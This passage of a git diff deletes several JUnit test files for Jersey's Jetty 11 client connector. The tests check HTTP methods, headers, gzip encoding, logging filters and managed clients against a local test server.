- * terms of the Eclipse Public License v. 2.0, which is available at
- * http://www.eclipse.org/legal/epl-2.0.
- *
- * This Source Code may also be made available under the following Secondary
- * Licenses when the conditions for such availability set forth in the
- * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
- * version 2 with the GNU Classpath Exception, which is available at
- * https://www.gnu.org/software/classpath/license.html.
- *
- * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
- */
-
-package org.glassfish.jersey.jetty.connector;
-
-import java.util.Arrays;
-import java.util.logging.Logger;
-
-import jakarta.ws.rs.POST;
-import jakarta.ws.rs.Path;
-import jakarta.ws.rs.client.Client;
-import jakarta.ws.rs.client.ClientBuilder;
-import jakarta.ws.rs.client.Entity;
-import jakarta.ws.rs.client.WebTarget;
-import jakarta.ws.rs.core.Application;
-import jakarta.ws.rs.core.MediaType;
-import jakarta.ws.rs.core.Response;
-
-import org.glassfish.jersey.client.ClientConfig;
-import org.glassfish.jersey.client.ClientProperties;
-import org.glassfish.jersey.logging.LoggingFeature;
-import org.glassfish.jersey.message.GZipEncoder;
-import org.glassfish.jersey.server.ResourceConfig;
-import org.glassfish.jersey.test.JerseyTest;
-
-import org.junit.jupiter.api.Test;
-import static org.junit.jupiter.api.Assertions.assertTrue;
-
-/**
- * @author Paul Sandoz
- * @author Arul Dhesiaseelan (aruld at acm.org)
- */
-public class GZIPContentEncodingTest extends JerseyTest {
-
-    private static final Logger LOGGER = Logger.getLogger(EntityTest.class.getName());
-
-    @Path("/")
-    public static class Resource {
-
-        @POST
-        public byte[] post(byte[] content) {
-            return content;
-        }
-    }
-
-    @Override
-    protected Application configure() {
-        ResourceConfig config = new ResourceConfig(Resource.class);
-        config.register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.PAYLOAD_ANY));
-        return config;
-    }
-
-    @Override
-    protected void configureClient(ClientConfig config) {
-        config.register(GZipEncoder.class);
-        config.connectorProvider(new JettyConnectorProvider());
-    }
-
-    @Test
-    public void testPost() {
-        WebTarget r = target();
-        byte[] content = new byte[1024 * 1024];
-        assertTrue(Arrays.equals(content,
-                r.request().post(Entity.entity(content, MediaType.APPLICATION_OCTET_STREAM_TYPE)).readEntity(byte[].class)));
-
-        Response cr = r.request().post(Entity.entity(content, MediaType.APPLICATION_OCTET_STREAM_TYPE));
-        assertTrue(cr.hasEntity());
-        cr.close();
-    }
-
-    @Test
-    public void testPostChunked() {
-        ClientConfig config = new ClientConfig();
-        config.property(ClientProperties.CHUNKED_ENCODING_SIZE, 1024);
-        config.connectorProvider(new JettyConnectorProvider());
-        config.register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.PAYLOAD_ANY));
-
-        Client client = ClientBuilder.newClient(config);
-        WebTarget r = client.target(getBaseUri());
-
-        byte[] content = new byte[1024 * 1024];
-        assertTrue(Arrays.equals(content,
-                r.request().post(Entity.entity(content, MediaType.APPLICATION_OCTET_STREAM_TYPE)).readEntity(byte[].class)));
-
-        Response cr = r.request().post(Entity.text("POST"));
-        assertTrue(cr.hasEntity());
-        cr.close();
-
-        client.close();
-    }
-
-}
diff --git a/connectors/jetty11-connector/src/test/java/org/glassfish/jersey/jetty/connector/HelloWorldTest.java b/connectors/jetty11-connector/src/test/java/org/glassfish/jersey/jetty/connector/HelloWorldTest.java
deleted file mode 100644
index 4e9f09e..0000000
--- a/connectors/jetty11-connector/src/test/java/org/glassfish/jersey/jetty/connector/HelloWorldTest.java
+++ /dev/null
@@ -1,225 +0,0 @@
-/*
- * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
- *
- * This program and the accompanying materials are made available under the
- * terms of the Eclipse Public License v. 2.0, which is available at
- * http://www.eclipse.org/legal/epl-2.0.
- *
- * This Source Code may also be made available under the following Secondary
- * Licenses when the conditions for such availability set forth in the
- * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
- * version 2 with the GNU Classpath Exception, which is available at
- * https://www.gnu.org/software/classpath/license.html.
- *
- * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
- */
-
-package org.glassfish.jersey.jetty.connector;
-
-import java.util.concurrent.CountDownLatch;
-import java.util.concurrent.TimeUnit;
-import java.util.logging.Logger;
-
-import jakarta.ws.rs.GET;
-import jakarta.ws.rs.Path;
-import jakarta.ws.rs.Produces;
-import jakarta.ws.rs.client.Client;
-import jakarta.ws.rs.client.ClientBuilder;
-import jakarta.ws.rs.client.InvocationCallback;
-import jakarta.ws.rs.client.WebTarget;
-import jakarta.ws.rs.core.Application;
-import jakarta.ws.rs.core.MediaType;
-import jakarta.ws.rs.core.Response;
-
-import org.glassfish.jersey.client.ClientConfig;
-import org.glassfish.jersey.logging.LoggingFeature;
-import org.glassfish.jersey.server.ResourceConfig;
-import org.glassfish.jersey.test.JerseyTest;
-
-import org.junit.jupiter.api.Test;
-import static org.junit.jupiter.api.Assertions.assertEquals;
-import static org.junit.jupiter.api.Assertions.assertTrue;
-
-/**
- *
- * @author Jakub Podlesak
- */
-public class HelloWorldTest extends JerseyTest {
-
-    private static final Logger LOGGER = Logger.getLogger(HelloWorldTest.class.getName());
-    private static final String ROOT_PATH = "helloworld";
-
-    @Path("helloworld")
-    public static class HelloWorldResource {
-        public static final String CLICHED_MESSAGE = "Hello World!";
-
-        @GET
-        @Produces("text/plain")
-        public String getHello() {
-            return CLICHED_MESSAGE;
-        }
-
-    }
-
-    @Override
-    protected Application configure() {
-        ResourceConfig config = new ResourceConfig(HelloWorldResource.class);
-        config.register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.PAYLOAD_ANY));
-        return config;
-    }
-
-    @Override
-    protected void configureClient(ClientConfig config) {
-        config.connectorProvider(new JettyConnectorProvider());
-    }
-
-    @Test
-    public void testConnection() {
-        Response response = target().path(ROOT_PATH).request("text/plain").get();
-        assertEquals(200, response.getStatus());
-    }
-
-    @Test
-    public void testClientStringResponse() {
-        String s = target().path(ROOT_PATH).request().get(String.class);
-        assertEquals(HelloWorldResource.CLICHED_MESSAGE, s);
-    }
-
-    @Test
-    public void testAsyncClientRequests() throws InterruptedException {
-        final int REQUESTS = 20;
-        final CountDownLatch latch = new CountDownLatch(REQUESTS);
-        final long tic = System.currentTimeMillis();
-        for (int i = 0; i < REQUESTS; i++) {
-            final int id = i;
-            target().path(ROOT_PATH).request().async().get(new InvocationCallback<Response>() {
-                @Override
-                public void completed(Response response) {
-                    try {
-                        final String result = response.readEntity(String.class);
-                        assertEquals(HelloWorldResource.CLICHED_MESSAGE, result);
-                    } finally {
-                        latch.countDown();
-                    }
-                }
-
-                @Override
-                public void failed(Throwable error) {
-                    error.printStackTrace();
-                    latch.countDown();
-                }
-            });
-        }
-        latch.await(10 * getAsyncTimeoutMultiplier(), TimeUnit.SECONDS);
-        final long toc = System.currentTimeMillis();
-        Logger.getLogger(HelloWorldTest.class.getName()).info("Executed in: " + (toc - tic));
-    }
-
-    @Test
-    public void testHead() {
-        Response response = target().path(ROOT_PATH).request().head();
-        assertEquals(200, response.getStatus());
-        assertEquals(MediaType.TEXT_PLAIN_TYPE, response.getMediaType());
-    }
-
-    @Test
-    public void testFooBarOptions() {
-        Response response = target().path(ROOT_PATH).request().header("Accept", "foo/bar").options();
-        assertEquals(200, response.getStatus());
-        final String allowHeader = response.getHeaderString("Allow");
-        _checkAllowContent(allowHeader);
-        assertEquals("foo/bar", response.getMediaType().toString());
-        assertEquals(0, response.getLength());
-    }
-
-    @Test
-    public void testTextPlainOptions() {
-        Response response = target().path(ROOT_PATH).request().header("Accept", MediaType.TEXT_PLAIN).options();
-        assertEquals(200, response.getStatus());
-        final String allowHeader = response.getHeaderString("Allow");
-        _checkAllowContent(allowHeader);
-        assertEquals(MediaType.TEXT_PLAIN_TYPE, response.getMediaType());
-        final String responseBody = response.readEntity(String.class);
-        _checkAllowContent(responseBody);
-    }
-
-    private void _checkAllowContent(final String content) {
-        assertTrue(content.contains("GET"));
-        assertTrue(content.contains("HEAD"));
-        assertTrue(content.contains("OPTIONS"));
-    }
-
-    @Test
-    public void testMissingResourceNotFound() {
-        Response response;
-
-        response = target().path(ROOT_PATH + "arbitrary").request().get();
-        assertEquals(404, response.getStatus());
-        response.close();
-
-        response = target().path(ROOT_PATH).path("arbitrary").request().get();
-        assertEquals(404, response.getStatus());
-        response.close();
-    }
-
-    @Test
-    public void testLoggingFilterClientClass() {
-        Client client = client();
-        client.register(CustomLoggingFilter.class).property("foo", "bar");
-        CustomLoggingFilter.preFilterCalled = CustomLoggingFilter.postFilterCalled = 0;
-        String s = target().path(ROOT_PATH).request().get(String.class);
-        assertEquals(HelloWorldResource.CLICHED_MESSAGE, s);
-        assertEquals(1, CustomLoggingFilter.preFilterCalled);
-        assertEquals(1, CustomLoggingFilter.postFilterCalled);
-        client.close();
-    }
-
-    @Test
-    public void testLoggingFilterClientInstance() {
-        Client client = client();
-        client.register(new CustomLoggingFilter()).property("foo", "bar");
-        CustomLoggingFilter.preFilterCalled = CustomLoggingFilter.postFilterCalled = 0;
-        String s = target().path(ROOT_PATH).request().get(String.class);
-        assertEquals(HelloWorldResource.CLICHED_MESSAGE, s);
-        assertEquals(1, CustomLoggingFilter.preFilterCalled);
-        assertEquals(1, CustomLoggingFilter.postFilterCalled);
-        client.close();
-    }
-
-    @Test
-    public void testLoggingFilterTargetClass() {
-        WebTarget target = target().path(ROOT_PATH);
-        target.register(CustomLoggingFilter.class).property("foo", "bar");
-        CustomLoggingFilter.preFilterCalled = CustomLoggingFilter.postFilterCalled = 0;
-        String s = target.request().get(String.class);
-        assertEquals(HelloWorldResource.CLICHED_MESSAGE, s);
-        assertEquals(1, CustomLoggingFilter.preFilterCalled);
-        assertEquals(1, CustomLoggingFilter.postFilterCalled);
-    }
-
-    @Test
-    public void testLoggingFilterTargetInstance() {
-        WebTarget target = target().path(ROOT_PATH);
-        target.register(new CustomLoggingFilter()).property("foo", "bar");
-        CustomLoggingFilter.preFilterCalled = CustomLoggingFilter.postFilterCalled = 0;
-        String s = target.request().get(String.class);
-        assertEquals(HelloWorldResource.CLICHED_MESSAGE, s);
-        assertEquals(1, CustomLoggingFilter.preFilterCalled);
-        assertEquals(1, CustomLoggingFilter.postFilterCalled);
-    }
-
-    @Test
-    public void testConfigurationUpdate() {
-        Client client1 = client();
-        client1.register(CustomLoggingFilter.class).property("foo", "bar");
-
-        Client client = ClientBuilder.newClient(client1.getConfiguration());
-        CustomLoggingFilter.preFilterCalled = CustomLoggingFilter.postFilterCalled = 0;
-        String s = target().path(ROOT_PATH).request().get(String.class);
-        assertEquals(HelloWorldResource.CLICHED_MESSAGE, s);
-        assertEquals(1, CustomLoggingFilter.preFilterCalled);
-        assertEquals(1, CustomLoggingFilter.postFilterCalled);
-        client.close();
-    }
-
-}
diff --git a/connectors/jetty11-connector/src/test/java/org/glassfish/jersey/jetty/connector/HttpHeadersTest.java b/connectors/jetty11-connector/src/test/java/org/glassfish/jersey/jetty/connector/HttpHeadersTest.java
deleted file mode 100644
index c40b811..0000000
--- a/connectors/jetty11-connector/src/test/java/org/glassfish/jersey/jetty/connector/HttpHeadersTest.java
+++ /dev/null
@@ -1,101 +0,0 @@
-/*
- * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
- *
- * This program and the accompanying materials are made available under the
- * terms of the Eclipse Public License v. 2.0, which is available at
- * http://www.eclipse.org/legal/epl-2.0.
- *
- * This Source Code may also be made available under the following Secondary
- * Licenses when the conditions for such availability set forth in the
- * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
- * version 2 with the GNU Classpath Exception, which is available at
- * https://www.gnu.org/software/classpath/license.html.
- *
- * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
- */
-
-package org.glassfish.jersey.jetty.connector;
-
-import java.util.List;
-import java.util.logging.Logger;
-
-import jakarta.ws.rs.GET;
-import jakarta.ws.rs.HeaderParam;
-import jakarta.ws.rs.POST;
-import jakarta.ws.rs.Path;
-import jakarta.ws.rs.core.Application;
-import jakarta.ws.rs.core.Context;
-import jakarta.ws.rs.core.HttpHeaders;
-import jakarta.ws.rs.core.Response;
-
-import org.glassfish.jersey.client.ClientConfig;
-import org.glassfish.jersey.logging.LoggingFeature;
-import org.glassfish.jersey.server.ResourceConfig;
-import org.glassfish.jersey.test.JerseyTest;
-
-import org.junit.jupiter.api.Test;
-
-import static org.junit.jupiter.api.Assertions.assertEquals;
-import static org.junit.jupiter.api.Assertions.assertTrue;
-
-
-/**
- * Tests the headers.
- *
- * @author Stepan Kopriva
- */
-public class HttpHeadersTest extends JerseyTest {
-
-    private static final Logger LOGGER = Logger.getLogger(HttpHeadersTest.class.getName());
-
-    @Path("/test")
-    public static class HttpMethodResource {
-        @POST
-        public String post(
-                @HeaderParam("Transfer-Encoding") String transferEncoding,
-                @HeaderParam("X-CLIENT") String xClient,
-                @HeaderParam("X-WRITER") String xWriter,
-                String entity) {
-            assertEquals("client", xClient);
-            return "POST";
-        }
-
-        @GET
-        public String testUserAgent(@Context HttpHeaders httpHeaders) {
-            final List<String> requestHeader = httpHeaders.getRequestHeader(HttpHeaders.USER_AGENT);
-            if (requestHeader.size() != 1) {
-                return "FAIL";
-            }
-            return requestHeader.get(0);
-        }
-    }
-
-    @Override
-    protected Application configure() {
-        ResourceConfig config = new ResourceConfig(HttpMethodResource.class);
-        config.register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.PAYLOAD_ANY));
-        return config;
-    }
-
-    @Override
-    protected void configureClient(ClientConfig config) {
-        config.connectorProvider(new JettyConnectorProvider());
-    }
-
-    @Test
-    public void testPost() {
-        Response response = target().path("test").request().header("X-CLIENT", "client").post(null);
-
-        assertEquals(200, response.getStatus());
-        assertTrue(response.hasEntity());
-    }
-
-    /**
-     * Test, that {@code User-agent} header is as set by Jersey, not by underlying Jetty client.
-     */
-    @Test
-    public void testUserAgent() {
-        String response = target().path("test").request().get(String.class);
-        assertTrue(response.startsWith("Jersey"), "User-agent header should start with 'Jersey', but was " + response);
-    }
-}
diff --git a/connectors/jetty11-connector/src/test/java/org/glassfish/jersey/jetty/connector/ManagedClientTest.java b/connectors/jetty11-connector/src/test/java/org/glassfish/jersey/jetty/connector/ManagedClientTest.java
deleted file mode 100644
index eeafa01..0000000
--- a/connectors/jetty11-connector/src/test/java/org/glassfish/jersey/jetty/connector/ManagedClientTest.java
+++ /dev/null
@@ -1,256 +0,0 @@
-/*
- * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
- *
- * This program and the accompanying materials are made available under the
- * terms of the Eclipse Public License v. 2.0, which is available at
- * http://www.eclipse.org/legal/epl-2.0.
- *
- * This Source Code may also be made available under the following Secondary
- * Licenses when the conditions for such availability set forth in the
- * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
- * version 2 with the GNU Classpath Exception, which is available at
- * https://www.gnu.org/software/classpath/license.html.
- *
- * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
- */
-
-package org.glassfish.jersey.jetty.connector;
-
-import java.io.IOException;
-import java.lang.annotation.Documented;
-import java.lang.annotation.ElementType;
-import java.lang.annotation.Retention;
-import java.lang.annotation.RetentionPolicy;
-import java.lang.annotation.Target;
-import java.util.logging.Logger;
-
-import jakarta.ws.rs.GET;
-import jakarta.ws.rs.Path;
-import jakarta.ws.rs.Produces;
-import jakarta.ws.rs.client.ClientRequestContext;
-import jakarta.ws.rs.client.ClientRequestFilter;
-import jakarta.ws.rs.client.WebTarget;
-import jakarta.ws.rs.container.ContainerRequestContext;
-import jakarta.ws.rs.container.ContainerRequestFilter;
-import jakarta.ws.rs.container.DynamicFeature;
-import jakarta.ws.rs.container.ResourceInfo;
-import jakarta.ws.rs.core.Application;
-import jakarta.ws.rs.core.FeatureContext;
-import jakarta.ws.rs.core.MediaType;
-import jakarta.ws.rs.core.Response;
-
-import org.glassfish.jersey.client.ClientConfig;
-import org.glassfish.jersey.logging.LoggingFeature;
-import org.glassfish.jersey.server.ClientBinding;
-import org.glassfish.jersey.server.ResourceConfig;
-import org.glassfish.jersey.server.Uri;
-import org.glassfish.jersey.test.JerseyTest;
-
-import org.junit.jupiter.api.Test;
-import static org.junit.jupiter.api.Assertions.assertEquals;
-
-/**
- * Jersey programmatic managed client test
- *
- * @author Marek Potociar
- */
-public class ManagedClientTest extends JerseyTest {
-
-    private static final Logger LOGGER = Logger.getLogger(ManagedClientTest.class.getName());
-
-    /**
-     * Managed client configuration for client A.
-     */
-    @ClientBinding(configClass = MyClientAConfig.class)
-    @Documented
-    @Retention(RetentionPolicy.RUNTIME)
-    @Target({ElementType.FIELD, ElementType.PARAMETER})
-    public static @interface ClientA {
-    }
-
-    /**
-     * Managed client configuration for client B.
-     */
-    @ClientBinding(configClass = MyClientBConfig.class)
-    @Documented
-    @Retention(RetentionPolicy.RUNTIME)
-    @Target({ElementType.FIELD, ElementType.PARAMETER})
-    public @interface ClientB {
-    }
-
-    /**
-     * Dynamic feature that appends a properly configured {@link CustomHeaderFilter} instance
-     * to every method that is annotated with {@link Require &#64;Require} internal feature
-     * annotation.
-     */
-    public static class CustomHeaderFeature implements DynamicFeature {
-
-        /**
-         * A method annotation to be placed on those resource methods to which a validating
-         * {@link CustomHeaderFilter} instance should be added.
-         */
-        @Retention(RetentionPolicy.RUNTIME)
-        @Documented
-        @Target(ElementType.METHOD)
-        public static @interface Require {
-
-            /**
-             * Expected custom header name to be validated by the {@link CustomHeaderFilter}.
-             */
-            public String headerName();
-
-            /**
-             * Expected custom header value to be validated by the {@link CustomHeaderFilter}.
-             */
-            public String headerValue();
-        }
-
-        @Override
-        public void configure(ResourceInfo resourceInfo, FeatureContext context) {
-            final Require va = resourceInfo.getResourceMethod().getAnnotation(Require.class);
-            if (va != null) {
-                context.register(new CustomHeaderFilter(va.headerName(), va.headerValue()));
-            }
-        }
-    }
-
-    /**
-     * A filter for appending and validating custom headers.
-     * <p>
-     * On the client side, appends a new custom request header with a configured name and value to each outgoing request.
-     * </p>
-     * <p>
-     * On the server side, validates that each request has a custom header with a configured name and value.
-     * If the validation fails a HTTP 403 response is returned.
-     * </p>
-     */
-    public static class CustomHeaderFilter implements ContainerRequestFilter, ClientRequestFilter {
-
-        private final String headerName;
-        private final String headerValue;
-
-        public CustomHeaderFilter(String headerName, String headerValue) {
-            if (headerName == null || headerValue == null) {
-                throw new IllegalArgumentException("Header name and value must not be null.");
-            }
-            this.headerName = headerName;
-            this.headerValue = headerValue;
-        }
-
-        @Override
-        public void filter(ContainerRequestContext ctx) throws IOException { // validate
-            if (!headerValue.equals(ctx.getHeaderString(headerName))) {
-                ctx.abortWith(Response.status(Response.Status.FORBIDDEN)
-                        .type(MediaType.TEXT_PLAIN)
-                        .entity(String
-                                .format("Expected header '%s' not present or value not equal to '%s'", headerName, headerValue))
-                        .build());
-            }
-        }
-
-        @Override
-        public void filter(ClientRequestContext ctx) throws IOException { // append
-            ctx.getHeaders().putSingle(headerName, headerValue);
-        }
-    }
-
-    /**
-     * Internal resource accessed from the managed client resource.
-     */
-    @Path("internal")
-    public static class InternalResource {
-
-        @GET
-        @Path("a")
-        @CustomHeaderFeature.Require(headerName = "custom-header", headerValue = "a")
-        public String getA() {
-            return "a";
-        }
-
-        @GET
-        @Path("b")
-        @CustomHeaderFeature.Require(headerName = "custom-header", headerValue = "b")
-        public String getB() {
-            return "b";
-        }
-    }
-
-    /**
-     * A resource that uses managed clients to retrieve values of internal
-     * resources 'A' and 'B', which are protected by a {@link CustomHeaderFilter}
-     * and require a specific custom header in a request to be set to a specific value.
-     * <p>
-     * Properly configured managed clients have a {@code CustomHeaderFilter} instance
-     * configured to insert the {@link CustomHeaderFeature.Require required} custom header
-     * with a proper value into the outgoing client requests.
-     * </p>
-     */
-    @Path("public")
-    public static class PublicResource {
-
-        @Uri("a")
-        @ClientA // resolves to <base>/internal/a
-        private WebTarget targetA;
-
-        @GET
-        @Produces("text/plain")
-        @Path("a")
-        public String getTargetA() {
-            return targetA.request(MediaType.TEXT_PLAIN).get(String.class);
-        }
-
-        @GET
-        @Produces("text/plain")
-        @Path("b")
-        public Response getTargetB(@Uri("internal/b") @ClientB WebTarget targetB) {
-            return targetB.request(MediaType.TEXT_PLAIN).get();
-        }
-    }
-
-    @Override
-    protected Application configure() {
-        ResourceConfig config = new ResourceConfig(PublicResource.class, InternalResource.class, CustomHeaderFeature.class)
-                .property(ClientA.class.getName() + ".baseUri", this.getBaseUri().toString() + "internal");
-        config.register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.PAYLOAD_ANY));
-        return config;
-    }
-
-    public static class MyClientAConfig extends ClientConfig {
-
-        public MyClientAConfig() {
-            this.register(new CustomHeaderFilter("custom-header", "a"));
-        }
-    }
-
-    public static class MyClientBConfig extends ClientConfig {
-
-        public MyClientBConfig() {
-            this.register(new CustomHeaderFilter("custom-header", "b"));
-        }
-    }
-
-    @Override
-    protected void configureClient(ClientConfig config) {
-        config.connectorProvider(new JettyConnectorProvider());
-    }
-
-    /**
-     * Test that a connection via managed clients works properly.
-     *
-     * @throws Exception in case of test failure.
-     */
-    @Test
-    public void testManagedClient() throws Exception {
-        final WebTarget resource = target().path("public").path("{name}");
-        Response response;
-
-        response = resource.resolveTemplate("name", "a").request(MediaType.TEXT_PLAIN).get();
-        assertEquals(200, response.getStatus());
-        assertEquals("a", response.readEntity(String.class));
-
-        response = resource.resolveTemplate("name", "b").request(MediaType.TEXT_PLAIN).get();
-        assertEquals(200, response.getStatus());
-        assertEquals("b", response.readEntity(String.class));
-    }
-
-}
diff --git a/connectors/jetty11-connector/src/test/java/org/glassfish/jersey/jetty/connector/MethodTest.java b/connectors/jetty11-connector/src/test/java/org/glassfish/jersey/jetty/connector/MethodTest.java
deleted file mode 100644
index dc366d1..0000000
--- a/connectors/jetty11-connector/src/test/java/org/glassfish/jersey/jetty/connector/MethodTest.java
+++ /dev/null
@@ -1,153 +0,0 @@
-/*
- * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
- *
- * This program and the accompanying materials are made available under the
- * terms of the Eclipse Public License v. 2.0, which is available at
- * http://www.eclipse.org/legal/epl-2.0.
- *
- * This Source Code may also be made available under the following Secondary
- * Licenses when the conditions for such availability set forth in the
- * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
- * version 2 with the GNU Classpath Exception, which is available at
- * https://www.gnu.org/software/classpath/license.html.
- *
- * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
- */
-
-package org.glassfish.jersey.jetty.connector;
-
-import java.util.concurrent.ExecutionException;
-import java.util.logging.Logger;
-
-import jakarta.ws.rs.DELETE;
-import jakarta.ws.rs.GET;
-import jakarta.ws.rs.PATCH;
-import jakarta.ws.rs.POST;
-import jakarta.ws.rs.PUT;
-import jakarta.ws.rs.Path;
-import jakarta.ws.rs.client.Entity;
-import jakarta.ws.rs.core.Application;
-import jakarta.ws.rs.core.MediaType;
-import jakarta.ws.rs.core.Response;
-
-import org.glassfish.jersey.client.ClientConfig;
-import org.glassfish.jersey.logging.LoggingFeature;
-import org.glassfish.jersey.server.ResourceConfig;
-import org.glassfish.jersey.test.JerseyTest;
-
-import org.junit.jupiter.api.Test;
-import static org.junit.jupiter.api.Assertions.assertEquals;
-
-/**
- * Tests the Http methods.
- *
- * @author Stepan Kopriva
- * @author Arul Dhesiaseelan (aruld at acm.org)
- */
-public class MethodTest extends JerseyTest {
-
-    private static final Logger LOGGER = Logger.getLogger(MethodTest.class.getName());
-
-    private static final String PATH = "test";
-
-    @Path("/test")
-    public static class HttpMethodResource {
-        @GET
-        public String get() {
-            return "GET";
-        }
-
-        @POST
-        public String post(String entity) {
-            return entity;
-        }
-
-        @PUT
-        public String put(String entity) {
-            return entity;
-        }
-
-        @PATCH
-        public String patch(String entity) {
-            return entity;
-        }
-
-        @DELETE
-        public String delete() {
-            return "DELETE";
-        }
-    }
-
-    @Override
-    protected Application configure() {
-        ResourceConfig config = new ResourceConfig(HttpMethodResource.class);
-        config.register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.PAYLOAD_ANY));
-        return config;
-    }
-
-    @Override
-    protected void configureClient(ClientConfig config) {
-        config.connectorProvider(new JettyConnectorProvider());
-    }
-
-    @Test
-    public void testGet() {
-        Response response = target(PATH).request().get();
-        assertEquals("GET", response.readEntity(String.class));
-    }
-
-    @Test
-    public void testGetAsync() throws ExecutionException, InterruptedException {
-        Response response = target(PATH).request().async().get().get();
-        assertEquals("GET", response.readEntity(String.class));
-    }
-
-    @Test
-    public void testPost() {
-        Response response = target(PATH).request().post(Entity.entity("POST", MediaType.TEXT_PLAIN));
-        assertEquals("POST", response.readEntity(String.class));
-    }
-
-    @Test
-    public void testPostAsync() throws ExecutionException, InterruptedException {
-        Response response = target(PATH).request().async().post(Entity.entity("POST", MediaType.TEXT_PLAIN)).get();
-        assertEquals("POST", response.readEntity(String.class));
-    }
-
-    @Test
-    public void testPut() {
-        Response response = target(PATH).request().put(Entity.entity("PUT", MediaType.TEXT_PLAIN));
-        assertEquals("PUT", response.readEntity(String.class));
-    }
-
-    @Test
-    public void testPutAsync() throws ExecutionException, InterruptedException {
-        Response response = target(PATH).request().async().put(Entity.entity("PUT", MediaType.TEXT_PLAIN)).get();
-        assertEquals("PUT", response.readEntity(String.class));
-    }
-
-    @Test
-    public void testDelete() {
-        Response response = target(PATH).request().delete();
-        assertEquals("DELETE", response.readEntity(String.class));
-    }
-
-    @Test
-    public void testDeleteAsync() throws ExecutionException, InterruptedException {
-        Response response = target(PATH).request().async().delete().get();
-        assertEquals("DELETE", response.readEntity(String.class));
-    }
-
-    @Test
-    public void testPatch() {
-        Response response = target(PATH).request().method("PATCH", Entity.entity("PATCH", MediaType.TEXT_PLAIN));
-        assertEquals("PATCH", response.readEntity(String.class));
-    }
-
-    @Test
-    public void testOptionsWithEntity() {
-        Response response = target(PATH).request().build("OPTIONS", Entity.text("OPTIONS")).invoke();
-        assertEquals(200, response.getStatus());
-        response.close();
-    }
-}
diff --git a/connectors/jetty11-connector/src/test/java/org/glassfish/jersey/jetty/connector/NoEntityTest.java b/connectors/jetty11-connector/src/test/java/org/glassfish/jersey/jetty/connector/NoEntityTest.java
deleted file mode 100644
index d4b3f2e..0000000
--- a/connectors/jetty11-connector/src/test/java/org/glassfish/jersey/jetty/connector/NoEntityTest.java
+++ /dev/null
@@ -1,102 +0,0 @@
-/*
- * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
- *
- * This program and the accompanying materials are made available under the
- * terms of the Eclipse Public License v. 2.0, which is available at
- * http://www.eclipse.org/legal/epl-2.0.
- *
- * This Source Code may also be made available under the following Secondary
- * Licenses when the conditions for such availability set forth in the
- * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
- * version 2 with the GNU Classpath Exception, which is available at
- * https://www.gnu.org/software/classpath/license.html.
- *
- * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
- */
-
-package org.glassfish.jersey.jetty.connector;
-
-import java.util.logging.Logger;
-
-import jakarta.ws.rs.GET;
-import jakarta.ws.rs.POST;
-import jakarta.ws.rs.Path;
-import jakarta.ws.rs.client.WebTarget;
-import jakarta.ws.rs.core.Application;
-import jakarta.ws.rs.core.Response;
-import jakarta.ws.rs.core.Response.Status;
-
-import org.glassfish.jersey.client.ClientConfig;
-import org.glassfish.jersey.logging.LoggingFeature;
-import org.glassfish.jersey.server.ResourceConfig;
-import org.glassfish.jersey.test.JerseyTest;
-
-import org.junit.jupiter.api.Test;
-
-/**
- * @author Paul Sandoz
- * @author Arul Dhesiaseelan (aruld at acm.org)
- */
-public class NoEntityTest extends JerseyTest {
-    private static final Logger LOGGER = Logger.getLogger(NoEntityTest.class.getName());
-
-    @Path("/test")
-    public static class HttpMethodResource {
-        @GET
-        public Response get() {
-            return Response.status(Status.CONFLICT).build();
-        }
-
-        @POST
-        public void post(String entity) {
-        }
-    }
-
-    @Override
-    protected Application configure() {
-        ResourceConfig config = new ResourceConfig(HttpMethodResource.class);
-        config.register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.PAYLOAD_ANY));
-        return config;
-    }
-
-    @Override
-    protected void configureClient(ClientConfig config) {
-        config.connectorProvider(new JettyConnectorProvider());
-    }
-
-    @Test
-    public void testGet() {
-        WebTarget r = target("test");
-
-        for (int i = 0; i < 5; i++) {
-            Response cr = r.request().get();
-            cr.close();
-        }
-    }
-
-    @Test
-    public void testGetWithClose() {
-        WebTarget r = target("test");
-        for (int i = 0; i < 5; i++) {
-            Response cr = r.request().get();
-            cr.close();
-        }
-    }
-
-    @Test
-    public void testPost() {
-        WebTarget r = target("test");
-        for (int i = 0; i < 5; i++) {
-            Response cr = r.request().post(null);
-        }
-    }
-
-    @Test
-    public void testPostWithClose() {
-        WebTarget r = target("test");
-        for (int i = 0; i < 5; i++) {
-            Response cr = r.request().post(null);
-            cr.close();
-        }
-    }
-}
diff --git a/connectors/jetty11-connector/src/test/java/org/glassfish/jersey/jetty/connector/SyncResponseSizeTest.java b/connectors/jetty11-connector/src/test/java/org/glassfish/jersey/jetty/connector/SyncResponseSizeTest.java
deleted file mode 100644
index 32c71bb..0000000
--- a/connectors/jetty11-connector/src/test/java/org/glassfish/jersey/jetty/connector/SyncResponseSizeTest.java
+++ /dev/null
@@ -1,171 +0,0 @@
-/*
- * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
- *
- * This program and the accompanying materials are made available under the
- * terms of the Eclipse Public License v. 2.0, which is available at
- * http://www.eclipse.org/legal/epl-2.0.
- *
- * This Source Code may also be made available under the following Secondary
- * Licenses when the conditions for such availability set forth in the
